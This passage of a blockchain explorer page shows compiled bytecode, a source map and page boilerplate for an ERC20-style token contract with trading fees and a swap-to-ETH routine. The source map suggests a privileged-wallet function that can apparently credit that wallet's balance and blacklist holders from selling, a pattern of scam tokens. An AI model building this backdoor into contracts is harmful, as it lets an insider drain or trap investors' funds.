f165b15610ca0575082610e0a565b6001600160a01b03861660009081526008602052604081205460ff1615610cfc5760405162461bcd60e51b815260206004820152601060248201526f115490cc8c0e88189bdd131a5cdd195960821b6044820152606401610706565b6001600160a01b03871660009081526007602052604090205460ff1615610d4457610d3d6064610d37600954886111c190919063ffffffff16565b90611240565b9050610d82565b6001600160a01b03861660009081526007602052604090205460ff1615610d8257610d7f6064610d37600a54886111c190919063ffffffff16565b90505b8015610dfc5730600090815260046020526040902054610da29082611282565b30600081815260046020526040908190209290925590516001600160a01b038916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610df39085815260200190565b60405180910390a35b610e06858261117f565b9150505b6001600160a01b038516600090815260046020526040902054610e2d9082611282565b6001600160a01b0380871660008181526004602052604090819020939093559151908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e819085815260200190565b60405180910390a360019250505061055e565b60008184841115610eb85760405162461bcd60e51b8152600401610706919061147a565b506000610ec58486611599565b95945050505050565b604080518082018252601481527374656c756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600490915291822054610f1f918490610e94565b6001600160a01b038086166000908152600460205260408082209390935590851681522054610f4e9083611282565b6001600160a01b0380851660008181526004602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610fa29086815260200190565b60405180910390a35060019392505050565b600d805460ff60a01b1916600160a01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610ffc57610ffc61161c565b6001600160a01b03928316602091820292909201810191909152600c54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561105057600080fd5b505afa158015611064573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611088919061132c565b8160018151811061109b5761109b61161c565b6001600160a01b039283166020918202929092010152600c546110c191309116846109c3565b600c5460405163791ac94760e01b81526001600160a01b039091169063791ac947906110fa9085906000908690309042906004016114cf565b600060405180830381600087803b15801561111457600080fd5b505af1925050508015611125575060015b5047801561116d576003546040516101009091046001600160a01b0316906108fc8315029083906000818181858888f1935050505015801561116b573d6000803e3d6000fd5b505b5050600d805460ff60a01b1916905550565b600061055e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e94565b6000826111d0575060006104f4565b60006111dc838561157a565b9050826111e98583611558565b1461055e5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610706565b600061055e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506112e1565b60008061128f8385611540565b90508381101561055e5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610706565b600081836113025760405162461bcd60e51b8152600401610706919061147a565b506000610ec58486611558565b60006020828403121561132157600080fd5b813561055e81611632565b60006020828403121561133e57600080fd5b815161055e81611632565b6000806040838503121561135c57600080fd5b823561136781611632565b9150602083013561137781611632565b809150509250929050565b60008060006060848603121561139757600080fd5b83356113a281611632565b925060208401356113b281611632565b929592945050506040919091013590565b600080604083850312156113d657600080fd5b82356113e181611632565b946020939093013593505050565b60008060006040848603121561140457600080fd5b833567ffffffffffffffff8082111561141c57600080fd5b818601915086601f83011261143057600080fd5b81358181111561143f57600080fd5b8760208260051b850101111561145457600080fd5b60209283019550935050840135801515811461146f57600080fd5b809150509250925092565b600060208083528351808285015260005b818110156114a75785810183015185820160400152820161148b565b818111156114b9576000604083870101525b50601f01601f1916929092016040019392505050565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561151f5784516001600160a01b0316835293830193918301916001016114fa565b50506001600160a01b03969096166060850152505050608001529392505050565b6000821982111561155357611553611606565b500190565b60008261157557634e487b7160e01b600052601260045260246000fd5b500490565b600081600019048311821515161561159457611594611606565b500290565b6000828210156115ab576115ab611606565b500390565b600181811c908216806115c457607f821691505b602082108114156115e557634e487b7160e01b600052602260045260246000fd5b50919050565b60006000198214156115ff576115ff611606565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b6001600160a01b038116811461164757600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220943f9eb991693c890776c475e10125f66e47f8b7e014f88c175ab4fac032cd6664736f6c63430008070033

Deployed Bytecode Sourcemap

3829:6587:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4500:38;;;;;;;;;;-1:-1:-1;4500:38:0;;;;;;;-1:-1:-1;;;;;4500:38:0;;;;;;-1:-1:-1;;;;;2647:32:1;;;2629:51;;2617:2;2602:18;4500:38:0;;;;;;;;5590:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;6868:161::-;;;;;;;;;;-1:-1:-1;6868:161:0;;;;;:::i;:::-;;:::i;:::-;;;3389:14:1;;3382:22;3364:41;;3352:2;3337:18;6868:161:0;3224:187:1;4983:41:0;;;;;;;;;;-1:-1:-1;4983:41:0;;;;-1:-1:-1;;;;;4983:41:0;;;6723:100;;;;;;;;;;-1:-1:-1;6803:12:0;;6723:100;;;7480:25:1;;;7468:2;7453:18;6723:100:0;7334:177:1;9923:313:0;;;;;;;;;;-1:-1:-1;9923:313:0;;;;;:::i;:::-;;:::i;7037:83::-;;;;;;;;;;-1:-1:-1;7103:9:0;;7037:83;;7103:9;;;;8643:36:1;;8631:2;8616:18;7037:83:0;8501:184:1;4670:50:0;;;;;;;;;;-1:-1:-1;4670:50:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;4727:45;;;;;;;;;;-1:-1:-1;4727:45:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;3916:461;;;;;;;;;;-1:-1:-1;3916:461:0;;;;;:::i;:::-;;:::i;:::-;;6596:119;;;;;;;;;;-1:-1:-1;6596:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6689:18:0;6662:7;6689:18;;;:9;:18;;;;;;;6596:119;1713:157;;;;;;;;;;-1:-1:-1;1713:157:0;;;;;:::i;:::-;;:::i;4779:43::-;;;;;;;;;;-1:-1:-1;4779:43:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;1507:79;;;;;;;;;;-1:-1:-1;1545:7:0;1572:6;-1:-1:-1;;;;;1572:6:0;1507:79;;5679:87;;;;;;;;;;;;;:::i;10244:167::-;;;;;;;;;;-1:-1:-1;10244:167:0;;;;;:::i;:::-;;:::i;4831:35::-;;;;;;;;;;;;;;;;6121:467;;;;;;;;;;;;;:::i;5031:26::-;;;;;;;;;;-1:-1:-1;5031:26:0;;;;-1:-1:-1;;;;;5031:26:0;;;4873:36;;;;;;;;;;;;;;;;7468:143;;;;;;;;;;-1:-1:-1;7468:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;7576:18:0;;;7549:7;7576:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7468:143;5590:83;5627:13;5660:5;5653:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5590:83;:::o;6868:161::-;6943:4;6960:39;389:10;6983:7;6992:6;6960:8;:39::i;:::-;-1:-1:-1;7017:4:0;6868:161;;;;;:::o;9923:313::-;10021:4;10038:36;10048:6;10056:9;10067:6;10038:9;:36::i;:::-;-1:-1:-1;10085:121:0;10094:6;389:10;10116:89;10154:6;10116:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;10116:19:0;;;;;;:11;:19;;;;;;;;389:10;10116:33;;;;;;;;;;:37;:89::i;:::-;10085:8;:121::i;:::-;-1:-1:-1;10224:4:0;9923:313;;;;;;:::o;3916:461::-;4020:15;;;;;-1:-1:-1;;;;;4020:15:0;389:10;-1:-1:-1;;;;;4004:31:0;;3996:40;;;;;;4052:9;4047:323;4063:20;;;4047:323;;;4124:15;;;;;-1:-1:-1;;;;;4124:15:0;4108:9;;4118:1;4108:12;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;4108:31:0;;4105:254;;;4159:9;4180:12;;4171:5;:22;;;;:::i;:::-;4251:15;;;;;-1:-1:-1;;;;;4251:15:0;4241:26;;;;:9;:26;;;;;;4159:34;;-1:-1:-1;4241:30:0;;4159:34;;4241:30;:::i;:::-;4222:15;;;;;-1:-1:-1;;;;;4222:15:0;4212:26;;;;:9;:26;;;;;:59;-1:-1:-1;4105:254:0;;;4337:6;4310:10;:24;4321:9;;4331:1;4321:12;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;4310:24:0;;;;;;;;;;;;-1:-1:-1;4310:24:0;:33;;-1:-1:-1;;4310:33:0;;;;;;;;;;4105:254;4085:3;;;;:::i;:::-;;;;4047:323;;;;3916:461;;;:::o;1713:157::-;1420:6;;-1:-1:-1;;;;;1420:6:0;389:10;1420:22;1412:67;;;;-1:-1:-1;;;1412:67:0;;6364:2:1;1412:67:0;;;6346:21:1;;;6383:18;;;6376:30;6442:34;6422:18;;;6415:62;6494:18;;1412:67:0;;;;;;;;;1787:6:::1;:19:::0;;-1:-1:-1;;;;;;1787:19:0::1;-1:-1:-1::0;;;;;1787:19:0;::::1;::::0;;::::1;::::0;;1822:40:::1;::::0;1787:19;;;;1822:40:::1;::::0;1787:6;1822:40:::1;1713:157:::0;:::o;5679:87::-;5718:13;5751:7;5744:14;;;;;:::i;10244:167::-;10322:4;10339:42;389:10;10363:9;10374:6;10339:9;:42::i;6121:467::-;1420:6;;-1:-1:-1;;;;;1420:6:0;389:10;1420:22;1412:67;;;;-1:-1:-1;;;1412:67:0;;6364:2:1;1412:67:0;;;6346:21:1;;;6383:18;;;6376:30;6442:34;6422:18;;;6415:62;6494:18;;1412:67:0;6162:356:1;1412:67:0;6170:35:::1;6227:42;6170:100;;6313:16;-1:-1:-1::0;;;;;6313:24:0::1;;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;6295:70:0::1;;6374:4;6381:16;-1:-1:-1::0;;;;;6381:21:0::1;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6295:110;::::0;-1:-1:-1;;;;;;6295:110:0::1;::::0;;;;;;-1:-1:-1;;;;;3145:15:1;;;6295:110:0::1;::::0;::::1;3127:34:1::0;3197:15;;3177:18;;;3170:43;3062:18;;6295:110:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6281:11;:124:::0;;-1:-1:-1;;;;;6281:124:0;;::::1;-1:-1:-1::0;;;;;;6281:124:0;;::::1;;::::0;;6416:15:::1;:34:::0;;;;::::1;::::0;;;::::1;::::0;::::1;::::0;;6516:12:::1;::::0;6481:4:::1;6281:11;6461:26:::0;;;:11:::1;:26;::::0;;;;;;;:52;;;;;;;;;:67;;;;6560:11;;;;::::1;6539:34:::0;;:12:::1;:34:::0;;;;:41;;-1:-1:-1;;6539:41:0::1;6281:124:::0;6539:41:::1;::::0;;6121:467::o;5776:337::-;-1:-1:-1;;;;;5869:19:0;;5861:68;;;;-1:-1:-1;;;5861:68:0;;7131:2:1;5861:68:0;;;7113:21:1;7170:2;7150:18;;;7143:30;7209:34;7189:18;;;7182:62;-1:-1:-1;;;7260:18:1;;;7253:34;7304:19;;5861:68:0;6929:400:1;5861:68:0;-1:-1:-1;;;;;5948:21:0;;5940:68;;;;-1:-1:-1;;;5940:68:0;;5203:2:1;5940:68:0;;;5185:21:1;5242:2;5222:18;;;5215:30;5281:34;5261:18;;;5254:62;-1:-1:-1;;;5332:18:1;;;5325:32;5374:19;;5940:68:0;5001:398:1;5940:68:0;-1:-1:-1;;;;;6021:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;6073:32;;7480:25:1;;;6073:32:0;;7453:18:1;6073:32:0;;;;;;;5776:337;;;:::o;8267:1648::-;8345:4;-1:-1:-1;;;;;8372:18:0;;8364:68;;;;-1:-1:-1;;;8364:68:0;;6725:2:1;8364:68:0;;;6707:21:1;6764:2;6744:18;;;6737:30;6803:34;6783:18;;;6776:62;-1:-1:-1;;;6854:18:1;;;6847:35;6899:19;;8364:68:0;6523:401:1;8364:68:0;-1:-1:-1;;;;;8451:16:0;;8443:64;;;;-1:-1:-1;;;8443:64:0;;4454:2:1;8443:64:0;;;4436:21:1;4493:2;4473:18;;;4466:30;4532:34;4512:18;;;4505:62;-1:-1:-1;;;4583:18:1;;;4576:33;4626:19;;8443:64:0;4252:399:1;8443:64:0;8523:16;;-1:-1:-1;;;8523:16:0;;;;8520:1388;;;8572:32;8587:4;8593:2;8597:6;8572:14;:32::i;:::-;8565:39;;;;8520:1388;8705:4;8656:28;6689:18;;;:9;:18;;;;;;8731:16;;-1:-1:-1;;;8731:16:0;;;;8730:17;:40;;;;-1:-1:-1;;;;;;8752:18:0;;;;;;:12;:18;;;;;;;;8751:19;8730:40;8726:131;;;8805:36;8820:20;8805:14;:36::i;:::-;-1:-1:-1;;;;;8891:15:0;;;;;;:9;:15;;;;;;:27;;8911:6;8891:19;:27::i;:::-;-1:-1:-1;;;;;8873:15:0;;;;;;:9;:15;;;;;;;;:45;;;;8973:17;:23;;;;;;;;;:48;;-1:-1:-1;;;;;;9000:21:0;;;;;;:17;:21;;;;;;;;8973:48;8969:776;;;-1:-1:-1;9055:6:0;8969:776;;;-1:-1:-1;;;;;9149:16:0;;9100:17;9149:16;;;:10;:16;;;;;;;;9148:17;9140:46;;;;-1:-1:-1;;;9140:46:0;;4858:2:1;9140:46:0;;;4840:21:1;4897:2;4877:18;;;4870:30;-1:-1:-1;;;4916:18:1;;;4909:46;4972:18;;9140:46:0;4656:340:1;9140:46:0;-1:-1:-1;;;;;9210:18:0;;;;;;:12;:18;;;;;;;;9207:252;;;9265:37;9298:3;9265:28;9276:16;;9265:6;:10;;:28;;;;:::i;:::-;:32;;:37::i;:::-;9253:49;;9207:252;;;-1:-1:-1;;;;;9348:16:0;;;;;;:12;:16;;;;;;;;9345:114;;;9401:38;9435:3;9401:29;9412:17;;9401:6;:10;;:29;;;;:::i;:38::-;9389:50;;9345:114;9482:13;;9479:195;;9565:4;9547:24;;;;:9;:24;;;;;;:39;;9576:9;9547:28;:39::i;:::-;9538:4;9520:24;;;;:9;:24;;;;;;;:66;;;;9614:40;;-1:-1:-1;;;;;9614:40:0;;;;;;;9644:9;7480:25:1;;7468:2;7453:18;;7334:177;9614:40:0;;;;;;;;9479:195;9708:21;:6;9719:9;9708:10;:21::i;:::-;9694:35;;9081:664;8969:776;-1:-1:-1;;;;;9789:13:0;;;;;;:9;:13;;;;;;:30;;9807:11;9789:17;:30::i;:::-;-1:-1:-1;;;;;9773:13:0;;;;;;;:9;:13;;;;;;;:46;;;;9839:31;;;;;;;;;;9858:11;7480:25:1;;7468:2;7453:18;;7334:177;9839:31:0;;;;;;;;9892:4;9885:11;;;;;;2236:192;2322:7;2358:12;2350:6;;;;2342:29;;;;-1:-1:-1;;;2342:29:0;;;;;;;;:::i;:::-;-1:-1:-1;2382:9:0;2394:5;2398:1;2394;:5;:::i;:::-;2382:17;2236:192;-1:-1:-1;;;;;2236:192:0:o;7128:330::-;7258:53;;;;;;;;;;;-1:-1:-1;;;7258:53:0;;;;;;;;-1:-1:-1;;;;;7258:17:0;;7221:4;7258:17;;;:9;:17;;;;;;;:53;;7280:6;;7258:21;:53::i;:::-;-1:-1:-1;;;;;7238:17:0;;;;;;;:9;:17;;;;;;:73;;;;7345:20;;;;;;;:32;;7370:6;7345:24;:32::i;:::-;-1:-1:-1;;;;;7322:20:0;;;;;;;:9;:20;;;;;;;:55;;;;7393:35;;;;;;;;;;7421:6;7480:25:1;;7468:2;7453:18;;7334:177;7393:35:0;;;;;;;;-1:-1:-1;7446:4:0;7128:330;;;;;:::o;7619:640::-;5128:16;:23;;-1:-1:-1;;;;5128:23:0;-1:-1:-1;;;5128:23:0;;;7725:16:::1;::::0;;7739:1:::1;7725:16:::0;;;;;::::1;::::0;;-1:-1:-1;;7725:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;7725:16:0::1;7701:40;;7770:4;7752;7757:1;7752:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;7752:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;7796:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;7796:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;7752:7;;7796:22;;;;;:15;:22;::::1;;::::0;::::1;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7786:4;7791:1;7786:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;7786:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;7863:15:::1;::::0;7831:58:::1;::::0;7848:4:::1;::::0;7863:15:::1;7881:7:::0;7831:8:::1;:58::i;:::-;7906:15;::::0;:193:::1;::::0;-1:-1:-1;;;7906:193:0;;-1:-1:-1;;;;;7906:15:0;;::::1;::::0;:66:::1;::::0;:193:::1;::::0;7987:7;;7906:15:::1;::::0;8026:4;;8053::::1;::::0;8073:15:::1;::::0;7906:193:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;7902:208:::0;8145:21:::1;8182:16:::0;;8179:72:::1;;8213:15;::::0;:38:::1;::::0;:15:::1;::::0;;::::1;-1:-1:-1::0;;;;;8213:15:0::1;::::0;:38:::1;::::0;::::1;;::::0;;;::::1;::::0;;;;:15;:38;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;8179:72;-1:-1:-1::0;;5174:16:0;:24;;-1:-1:-1;;;;5174:24:0;;;-1:-1:-1;7619:640:0:o;2092:136::-;2150:7;2177:43;2181:1;2184;2177:43;;;;;;;;;;;;;;;;;:3;:43::i;2436:248::-;2494:7;2518:6;2514:47;;-1:-1:-1;2548:1:0;2541:8;;2514:47;2571:9;2583:5;2587:1;2583;:5;:::i;:::-;2571:17;-1:-1:-1;2616:1:0;2607:5;2611:1;2571:17;2607:5;:::i;:::-;:10;2599:56;;;;-1:-1:-1;;;2599:56:0;;5962:2:1;2599:56:0;;;5944:21:1;6001:2;5981:18;;;5974:30;6040:34;6020:18;;;6013:62;-1:-1:-1;;;6091:18:1;;;6084:31;6132:19;;2599:56:0;5760:397:1;2692:132:0;2750:7;2777:39;2781:1;2784;2777:39;;;;;;;;;;;;;;;;;:3;:39::i;1903:181::-;1961:7;;1993:5;1997:1;1993;:5;:::i;:::-;1981:17;;2022:1;2017;:6;;2009:46;;;;-1:-1:-1;;;2009:46:0;;5606:2:1;2009:46:0;;;5588:21:1;5645:2;5625:18;;;5618:30;5684:29;5664:18;;;5657:57;5731:18;;2009:46:0;5404:351:1;2832:189:0;2918:7;2953:12;2946:5;2938:28;;;;-1:-1:-1;;;2938:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2977:9:0;2989:5;2993:1;2989;:5;:::i;14:247:1:-;73:6;126:2;114:9;105:7;101:23;97:32;94:52;;;142:1;139;132:12;94:52;181:9;168:23;200:31;225:5;200:31;:::i;266:251::-;336:6;389:2;377:9;368:7;364:23;360:32;357:52;;;405:1;402;395:12;357:52;437:9;431:16;456:31;481:5;456:31;:::i;522:388::-;590:6;598;651:2;639:9;630:7;626:23;622:32;619:52;;;667:1;664;657:12;619:52;706:9;693:23;725:31;750:5;725:31;:::i;:::-;775:5;-1:-1:-1;832:2:1;817:18;;804:32;845:33;804:32;845:33;:::i;:::-;897:7;887:17;;;522:388;;;;;:::o;915:456::-;992:6;1000;1008;1061:2;1049:9;1040:7;1036:23;1032:32;1029:52;;;1077:1;1074;1067:12;1029:52;1116:9;1103:23;1135:31;1160:5;1135:31;:::i;:::-;1185:5;-1:-1:-1;1242:2:1;1227:18;;1214:32;1255:33;1214:32;1255:33;:::i;:::-;915:456;;1307:7;;-1:-1:-1;;;1361:2:1;1346:18;;;;1333:32;;915:456::o;1376:315::-;1444:6;1452;1505:2;1493:9;1484:7;1480:23;1476:32;1473:52;;;1521:1;1518;1511:12;1473:52;1560:9;1547:23;1579:31;1604:5;1579:31;:::i;:::-;1629:5;1681:2;1666:18;;;;1653:32;;-1:-1:-1;;;1376:315:1:o;1696:782::-;1788:6;1796;1804;1857:2;1845:9;1836:7;1832:23;1828:32;1825:52;;;1873:1;1870;1863:12;1825:52;1913:9;1900:23;1942:18;1983:2;1975:6;1972:14;1969:34;;;1999:1;1996;1989:12;1969:34;2037:6;2026:9;2022:22;2012:32;;2082:7;2075:4;2071:2;2067:13;2063:27;2053:55;;2104:1;2101;2094:12;2053:55;2144:2;2131:16;2170:2;2162:6;2159:14;2156:34;;;2186:1;2183;2176:12;2156:34;2241:7;2234:4;2224:6;2221:1;2217:14;2213:2;2209:23;2205:34;2202:47;2199:67;;;2262:1;2259;2252:12;2199:67;2293:4;2285:13;;;;-1:-1:-1;2317:6:1;-1:-1:-1;;2358:20:1;;2345:34;2415:13;;2408:21;2398:32;;2388:60;;2444:1;2441;2434:12;2388:60;2467:5;2457:15;;;1696:782;;;;;:::o;3650:597::-;3762:4;3791:2;3820;3809:9;3802:21;3852:6;3846:13;3895:6;3890:2;3879:9;3875:18;3868:34;3920:1;3930:140;3944:6;3941:1;3938:13;3930:140;;;4039:14;;;4035:23;;4029:30;4005:17;;;4024:2;4001:26;3994:66;3959:10;;3930:140;;;4088:6;4085:1;4082:13;4079:91;;;4158:1;4153:2;4144:6;4133:9;4129:22;4125:31;4118:42;4079:91;-1:-1:-1;4231:2:1;4210:15;-1:-1:-1;;4206:29:1;4191:45;;;;4238:2;4187:54;;3650:597;-1:-1:-1;;;3650:597:1:o;7516:980::-;7778:4;7826:3;7815:9;7811:19;7857:6;7846:9;7839:25;7883:2;7921:6;7916:2;7905:9;7901:18;7894:34;7964:3;7959:2;7948:9;7944:18;7937:31;7988:6;8023;8017:13;8054:6;8046;8039:22;8092:3;8081:9;8077:19;8070:26;;8131:2;8123:6;8119:15;8105:29;;8152:1;8162:195;8176:6;8173:1;8170:13;8162:195;;;8241:13;;-1:-1:-1;;;;;8237:39:1;8225:52;;8332:15;;;;8297:12;;;;8273:1;8191:9;8162:195;;;-1:-1:-1;;;;;;;8413:32:1;;;;8408:2;8393:18;;8386:60;-1:-1:-1;;;8477:3:1;8462:19;8455:35;8374:3;7516:980;-1:-1:-1;;;7516:980:1:o;8690:128::-;8730:3;8761:1;8757:6;8754:1;8751:13;8748:39;;;8767:18;;:::i;:::-;-1:-1:-1;8803:9:1;;8690:128::o;8823:217::-;8863:1;8889;8879:132;;8933:10;8928:3;8924:20;8921:1;8914:31;8968:4;8965:1;8958:15;8996:4;8993:1;8986:15;8879:132;-1:-1:-1;9025:9:1;;8823:217::o;9045:168::-;9085:7;9151:1;9147;9143:6;9139:14;9136:1;9133:21;9128:1;9121:9;9114:17;9110:45;9107:71;;;9158:18;;:::i;:::-;-1:-1:-1;9198:9:1;;9045:168::o;9218:125::-;9258:4;9286:1;9283;9280:8;9277:34;;;9291:18;;:::i;:::-;-1:-1:-1;9328:9:1;;9218:125::o;9348:380::-;9427:1;9423:12;;;;9470;;;9491:61;;9545:4;9537:6;9533:17;9523:27;;9491:61;9598:2;9590:6;9587:14;9567:18;9564:38;9561:161;;;9644:10;9639:3;9635:20;9632:1;9625:31;9679:4;9676:1;9669:15;9707:4;9704:1;9697:15;9561:161;;9348:380;;;:::o;9733:135::-;9772:3;-1:-1:-1;;9793:17:1;;9790:43;;;9813:18;;:::i;:::-;-1:-1:-1;9860:1:1;9849:13;;9733:135::o;9873:127::-;9934:10;9929:3;9925:20;9922:1;9915:31;9965:4;9962:1;9955:15;9989:4;9986:1;9979:15;10005:127;10066:10;10061:3;10057:20;10054:1;10047:31;10097:4;10094:1;10087:15;10121:4;10118:1;10111:15;10269:131;-1:-1:-1;;;;;10344:31:1;;10334:42;;10324:70;;10390:1;10387;10380:12;10324:70;10269:131;:::o

Swarm Source

ipfs://943f9eb991693c890776c475e10125f66e47f8b7e014f88c175ab4fac032cd66
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.